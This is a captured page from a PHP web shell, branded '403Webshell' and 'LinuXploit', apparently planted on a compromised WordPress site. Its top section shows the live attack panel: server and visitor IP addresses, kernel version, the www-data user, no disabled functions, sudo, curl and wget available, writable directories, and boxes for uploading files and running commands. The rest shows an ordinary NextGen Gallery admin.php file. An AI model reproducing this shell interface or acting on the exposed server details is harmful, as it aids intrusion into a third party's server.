403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.150
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/src/Functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/src/Functions/admin.php
<?php
/**
 * Admin Functions
 *
 * @since 3.5.0
 *
 * @package NextGen Gallery
 */

/**
 * Helper Method to load admin Partials
 *
 * @since 3.5.0
 *
 * @param string $template Template to load.
 *
 * @return bool
 */
function nextgen_load_admin_partial( $template ) {
	$dir = trailingslashit( trailingslashit( NGG_PLUGIN_DIR ) . 'src/Admin/Views' );

	if ( file_exists( $dir . $template . '.php' ) ) {

		require_once $dir . $template . '.php';
		return true;
	}

	return false;
}

/**
 * Helper method to check if starter, plus or pro is active.
 *
 * @since 3.5.0
 *
 * @return bool
 */
function nextgen_is_plus_or_pro_enabled() {
	return defined( 'NGG_PRO_PLUGIN_BASENAME' )
		|| defined( 'NGG_PLUS_PLUGIN_BASENAME' )
		|| defined( 'NGG_STARTER_PLUGIN_BASENAME' )
		|| is_multisite();
}


/**
 * Helper Method to Detect NGG Admin Page
 *
 * @since 3.5.0
 *
 * @return bool
 */
function is_nextgen_admin_page() {

	global $current_screen;

	if ( ! is_admin() ) {
		return false;
	}

	$keys = [ 'ngg', 'nggallery', 'nextgen-gallery', 'nextgen' ];

	foreach ( $keys as $key ) {
		$is_modern_page = str_contains( $current_screen->id, $key );
		if ( $is_modern_page ) {
			return true;
		}
	}

	return false;
}

Youez - 2016 - github.com/yon3zu
LinuXploit